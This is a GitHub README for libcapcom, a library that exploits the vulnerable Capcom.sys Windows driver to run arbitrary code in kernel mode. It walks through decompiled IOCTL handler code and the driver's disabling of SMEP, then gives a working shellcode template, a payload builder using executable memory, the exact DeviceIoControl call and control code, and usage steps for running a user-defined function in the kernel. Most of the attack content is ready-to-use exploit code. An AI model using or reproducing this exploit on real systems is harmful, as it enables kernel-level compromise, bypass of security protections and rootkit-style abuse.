Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Latest commit


Git stats


Failed to load latest commit information.
Latest commit message
Commit time
September 3, 2018 23:13
May 24, 2019 02:44

libcapcom - Execute arbitrary code in the kernel


Links to what happened:

Capcom decides to ship a driver with a custom IOCTL that accepts a buffer from usermode, and executes it. Let's dive into how/why this works.


IOCTL Handler

The interesting part of this exploit begins at Capcom.sys + 0x590, the IOCTL handler. Here is the disassembled pseudocode:

__int64 __fastcall sub_10590(__int64 a1, struct _IRP *a2)
    if ( *(_BYTE *)v2 == 14 )
        requiredInputBufferSize = 0;
        requiredOutputBufferSize = 0;
        if ( controlCode == 0xAA012044 )
            requiredOutputBufferSize = 4;
            requiredInputBufferSize = 4;
        else if ( controlCode == 0xAA013044 )
            requiredInputBufferSize = 8;
            requiredOutputBufferSize = 4;
        if ( inputBufferSize != requiredInputBufferSize || 
             outputBufferSize != requiredOutputBufferSize )
            v7->IoStatus.Status = 0xC000000D;
            goto LABEL_16;
        if ( controlCode == 0xAA012044 )
            v11 = *(_DWORD *)inputBuffer;
            if ( controlCode != 0xAA013044 )
                *(_DWORD *)inputBuffer = v4;
                v7->IoStatus.Information = (unsigned int)requiredOutputBufferSize;
                goto LABEL_16;
            v11 = *(_QWORD *)inputBuffer;
        v4 = sub_10524(v11);
        goto LABEL_14;
    v7->IoStatus.Status = 0xC0000002;
    IofCompleteRequest(v7, 0);
    return v7->IoStatus.Status;

The code basically does the following:

  1. Check if the control code is for a 32-bit (0xAA012044) or 64-bit (0xAA013044) request
  2. Check to see if the IRP packet has proper sizes. If for a 32-bit request, the input and output buffer sizes must be 4. If for a 64-bit request, the input buffer size must be 8 AND the output buffer size must be 4
  3. Set v11 to the value that is pointed to by the address at inputBuffer
  4. Call sub_10524 with parameter v11.
  5. Finish by calling IofCompleteRequest

Calling the usermode function

Obviously, the natural reaction is to take a look at sub_10524, located at Capcom.sys + 0x524. Here is the disassembly:

signed __int64 __fastcall sub_10524(__int64 fnPtrFromBuffer)
    if ( *(_QWORD *)(fnPtrFromBuffer - 8) == fnPtrFromBuffer )
        userFn = (void (__fastcall *)(PVOID (__stdcall *)(PUNICODE_STRING)))fnPtrFromBuffer;
        pMmGetSystemRoutineAddress = MmGetSystemRoutineAddress;
        v2 = 0i64;
        sub_10788((unsigned __int64 *)&v2);
        sub_107A0((unsigned __int64 *)&v2);
        result = 1i64;
        result = 0i64;
    return result;

This function is where the juicy exploit comes into play.

  1. A very odd check to make sure that the first 8 bytes of the inputBuffer is equal to the address of the function, which lives at inputBuffer + 0x8
  2. The pointer passed into sub_10524 as the first parameter is cast to a function
  3. The address of the system routine MmGetSystemRoutineAddress is saved to a local variable
  4. An unknown function sub_10788 is called
  5. The function in usermode defined in the first parameter is called with the address of the function MmGetSystemRoutineAddress passed in as the first parameter to the usermode function
  6. Another unknown function sub_107A0 is called

Supervisor Mode Execution Protection

Quoting the Intel Manual Volume 3A, 4-3, Paragraph 4.1.3:

CR4.SMEP allows pages to be protected from supervisor-mode instruction fetches.
If CR4.SMEP = 1, software operating in supervisor mode cannot fetch instructions from linear addresses that are accessible in user mode.

Basically, SMEP is a CPU mitigation that prevents the kernel from executing code that lives in the virtual address space of a usermode process.
Going back to the exploit, we see that before the function defined by our input buffer is called, we call sub_10788. It is not unreasonable to guess that this function does something to CR4.SMEP.

unsigned __int64 __fastcall sub_10788(unsigned __int64 *a1)
    unsigned __int64 v1; // rax@1
    unsigned __int64 result; // rax@1

    v1 = __readcr4();
    *a1 = v1;
    result = v1 & 0xFFFFFFFFFFEFFFFFui64;
    return result;

And what do you know, sub_10788 disables SMEP, allowing our function in usermode to be called in the context of the kernel.
At this point it should be pretty obvious that sub_107A0, the second unknown function called, sets SMEP back to its original state, so I will leave out the disassembly of that function.


The implementation at this point should be pretty straightforward now that we know how the driver interacts with data passed to its IOCTL handler. I will be outlining the few caveats that are required for a usermode function to be called in the context of the kernel.

Constructing the payload

Earlier we saw that the first 8 bytes of the input buffer must be equal to the address of the usermode function. Let's create a struct that defines our payload:

struct capcom_payload
    void* ptr_to_code;
    uint8_t code[sizeof(code_template)];

We are going to want ptr_to_code to point to the usermode function, defined by code, an array of bytes when constructing the payload.

The driver will directly start executing the code defined by our code byte array, and we know that SMEP is disabled at this point. Let's force the kernel to jmp to a usermode function that we can define.

static const uint32_t user_function_ptr_offset = 0x2;
static uint8_t code_template[] =
    0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // movabs rax, user_function_ptr
    0xFF, 0xE0                                                  // jmp rax

This simple shellcode template will be the code that the driver executes for us. The first instruction will be movabs rax, user_function_ptr which moves the immediate 8 bytes into rax. Next, it will execute jmp rax, which jumps to the address stored in rax, which will be our user-defined function pointer.

Putting it all together, we get the following function:

capcom_payload* build_capcom_payload(uintptr_t user_function_wrapper) 
    // allocate a page of executable memory for our payload
    capcom_payload* final_payload = (capcom_payload*)VirtualAlloc(nullptr, sizeof(capcom_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // copy our code template into the executable page
    memcpy(final_payload->code, code_template, sizeof(code_template));

    // fill this member to point to the actual code buffer (as required by capcom)
    final_payload->ptr_to_code = final_payload->code; 

    // fill in the function pointer that will be copied into rax, then jmp'd to
    *(uintptr_t*)(final_payload->code + user_function_ptr_offset) = (uintptr_t)user_function_wrapper; 

    return final_payload;

Sending the payload to the Capcom driver

In the analysis of sub_10590 above, there are quite a few checks that must pass in order for our usermode code to be called. Recall the following:

  • Check to see if the IRP packet has proper sizes. If for a 32-bit request, the input and output buffer sizes must be 4. If for a 64-bit request, the input buffer size must be 8 AND the output buffer size must be 4

In this library's implementation, it only deals with the 64-bit variant of the driver. Communicating with the driver involves the WinAPI function DeviceIoControl, which takes a variety of parameters. Here is the function prototype as defined by MSDN:

BOOL WINAPI DeviceIoControl(
  _In_        HANDLE       hDevice,
  _In_        DWORD        dwIoControlCode,
  _In_opt_    LPVOID       lpInBuffer,
  _In_        DWORD        nInBufferSize,
  _Out_opt_   LPVOID       lpOutBuffer,
  _In_        DWORD        nOutBufferSize,
  _Out_opt_   LPDWORD      lpBytesReturned,
  _Inout_opt_ LPOVERLAPPED lpOverlapped
  • dwIoControlCode must be equal to 0xAA013044
  • nInBufferSize must be equal to 8
  • nOutBufferSize must be equal to 4

Putting this together, the code in capcom_wrapper.cpp calls:

DeviceIoControl(device, ioctl_x64, &payload->ptr_to_code, 8, &output_buffer, 4, &bytes_returned, nullptr)

Things to consider

How does the kernel jump to an address defined in another process' virtual address space?

DeviceIoControl is a system call. System calls are handled by the kernel, but is executed in the context of the thread that initiated that syscall, meaning the same virtual address space. For example, file and network I/O are handled by system calls, but the kernel could reasonably need access to the process' address space to pass data back to the process. Also keep in mind that a system call does not cause a context switch, meaning that the processor context is still the same thread context that executed that system call.

Is executing this code in the kernel safe?

No, this is inherently unsafe. Imagine in a multi-processor system that CPU 0 is executing this exploit code. The kernel decides to context switch this thread off of CPU 0, and some time in the future, our thread executing the exploit gets context switched onto CPU 1. Recall that the capcom driver DISABLED SMEP for CPU 0 before executing the exploit. Now that the thread is on CPU 1, SMEP is ENABLED, meaning that the moment that the exploit jumps to code mapped to userspace pages, we get hit with a big fat BSOD. If one is interested in a safe implementation, I highly recommend reading

How to use this library

  1. Build the project
  2. Link against libcapcom.lib
  3. Include libcapcom.h
  4. Call init_exploit()
  5. Call execute_in_kernel(std::function<void(MmGetSystemRoutineAddress_t)> user_function) with your defined lambda
  6. Call cleanup_exploit()

Further documentation of what each exported function does can be found in libcapcom.h, and an example of a project that uses this library can be found here:


Capcom driver exploit wrapper






No releases published


No packages published